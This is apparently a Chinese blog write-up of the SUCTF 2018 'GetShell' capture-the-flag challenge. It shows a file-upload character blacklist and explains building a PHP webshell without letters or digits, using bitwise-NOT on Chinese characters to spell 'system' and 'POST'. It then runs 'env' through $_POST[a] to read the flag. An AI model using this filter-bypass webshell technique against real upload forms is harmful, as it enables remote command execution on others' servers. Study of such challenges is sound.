[SUCTF 2018]GetShell

[SUCTF 2018]GetShell

在upload页面看到源码

文件包含题,包含我们上传的文件。传一个图片马,发现被ban了

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
    $data=substr($contents,5);
    foreach ($black_char as $b) {
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
} 

需要测试看看哪些被过滤了。

经过测试发现基本都被过滤了,只剩下$().;=[]]_~这些可以利用

想到之前看的一篇博文:不用字母和数字进行构造webshell

离别歌的博文https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a

上传一个php文件后,可以用$_POST[a]来执行系统命令

hackbar传一个a=env,列出所有环境变量即可得到flag

image-20200729160501523

posted @ 2020-07-29 18:38  LEOGG  阅读(511)  评论(0编辑  收藏  举报